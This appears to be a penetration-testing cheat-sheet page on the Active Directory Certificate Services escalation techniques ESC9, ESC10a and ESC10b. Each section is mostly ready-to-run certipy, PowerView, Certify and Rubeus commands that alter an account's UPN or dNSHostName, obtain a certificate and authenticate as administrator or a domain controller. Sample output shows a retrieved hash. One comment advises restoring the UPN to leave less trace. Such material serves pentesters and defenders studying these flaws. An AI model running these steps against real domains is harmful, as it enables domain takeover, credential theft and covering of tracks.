Skip to content
HackIndex logo

HackIndex

ADCS Exploitation: ESC9 and ESC10

5 min read Jun 11, 2026

ESC9 and ESC10 exploit weak certificate-to-account mapping on the DC. Both require GenericWrite on a domain account to modify its UPN before requesting a certificate. The issued certificate then maps to a different account when authenticated. These techniques rely on confirmed ESC9 or ESC10 conditions before exploitation.

ESC9 — UPN swap via NO_SECURITY_EXTENSION template

The template lacks CT_FLAG_NO_SECURITY_EXTENSION, meaning issued certificates contain no binding to the issuing account. By temporarily changing the victim's UPN to the target account's UPN and requesting a certificate, the issued cert contains the target UPN. Restore the victim's UPN and authenticate — the KDC maps the certificate to the target account.

Requires: GenericWrite on victim account + ESC9 template + StrongCertificateBindingEnforcement != 2 on DC.

┌──(kali㉿kali)-[~]
└─$ # Step 1: Change victim's UPN to target account
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn administrator@$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Request cert from ESC9 template as victim
┌──(kali㉿kali)-[~]
└─$ # Certificate will embed 'administrator@$DOMAIN' as the UPN
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM@$DOMAIN -p $VICTIM_PASSWORD -ca $CA_NAME -template $ESC9_TEMPLATE -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: Restore victim's UPN (important — leaves less trace and restores victim auth)
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn $VICTIM@$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: Authenticate — cert maps to administrator due to UPN and no security extension
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $TARGET_IP
# Step 1:
[*] Updating user '$VICTIM'
[*] Successfully updated 'userPrincipalName' to '[email protected]'

# Step 2:
[*] Saved certificate and private key to 'administrator.pfx'

# Step 4:
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Step 1: Modify victim UPN via PowerView
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='administrator@$DOMAIN'}
 
PS C:\Users\Guest\Desktop> # Step 2: Request certificate from Certify
PS C:\Users\Guest\Desktop> Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC9_TEMPLATE
 
PS C:\Users\Guest\Desktop> # Step 3: Restore victim UPN
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='$VICTIM@$DOMAIN'}
 
PS C:\Users\Guest\Desktop> # Step 4: Convert and authenticate
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt

ESC10a — weak binding enforcement, any template

When StrongCertificateBindingEnforcement = 0 on the DC, no template flag is required. Any certificate with a UPN matching a domain account authenticates as that account. The attack chain is identical to ESC9 but any client-authentication template works — not limited to templates with NO_SECURITY_EXTENSION.

Requires: GenericWrite on victim account + StrongCertificateBindingEnforcement = 0 on DC.

┌──(kali㉿kali)-[~]
└─$ # Step 1: Change victim UPN to target
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn administrator@$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Request any client-auth certificate as victim
┌──(kali㉿kali)-[~]
└─$ # Template 'User' works here — no special template flag needed
┌──(kali㉿kali)-[~]
└─$ certipy req -u $VICTIM@$DOMAIN -p $VICTIM_PASSWORD -ca $CA_NAME -template User -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: Restore victim UPN
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $VICTIM -upn $VICTIM@$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: Authenticate as administrator
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx $VICTIM.pfx -domain $DOMAIN -dc-ip $TARGET_IP
[*] Successfully updated 'userPrincipalName' to '[email protected]'
[*] Saved certificate and private key to '$VICTIM.pfx'
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> # Modify UPN — any template with client auth works
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='administrator@$DOMAIN'}
PS C:\Users\Guest\Desktop> Certify.exe request /ca:$CA_HOST\$CA_NAME /template:User
PS C:\Users\Guest\Desktop> Set-DomainObject -Identity $VICTIM -Set @{'userPrincipalName'='$VICTIM@$DOMAIN'}
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:administrator /certificate:$VICTIM.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt

ESC10b — SubjectName mapping (CertificateMappingMethods)

When CertificateMappingMethods includes the SubjectName bit (0x4) or Issuer+Subject bit (0x2), the DC maps certificates using the Subject CN or Subject/Issuer pair in addition to UPN. With GenericWrite on an account, modify the victim's dNSHostName attribute (for computer accounts) or UPN to match the target. The issued certificate maps to the target account via the legacy SubjectName mapping path.

Requires: CertificateMappingMethods with legacy bits + GenericWrite on a computer account.

┌──(kali㉿kali)-[~]
└─$ # Requires GenericWrite on a computer account (not just a user)
┌──(kali㉿kali)-[~]
└─$ # Step 1: Save current dNSHostName and change to match DC
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $TARGET_COMPUTER -dns $DC_FQDN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: Request machine certificate — Subject CN will now match DC's DNS name
┌──(kali㉿kali)-[~]
└─$ certipy req -u $TARGET_COMPUTER\$@$DOMAIN -p $COMPUTER_PASSWORD -ca $CA_NAME -template Machine -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: Restore dNSHostName
┌──(kali㉿kali)-[~]
└─$ certipy account update -u $USER@$DOMAIN -p $PASSWORD -user $TARGET_COMPUTER -dns $TARGET_COMPUTER.$DOMAIN -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: Authenticate — maps to DC via SubjectName
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc01.pfx -domain $DOMAIN -dc-ip $TARGET_IP
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

References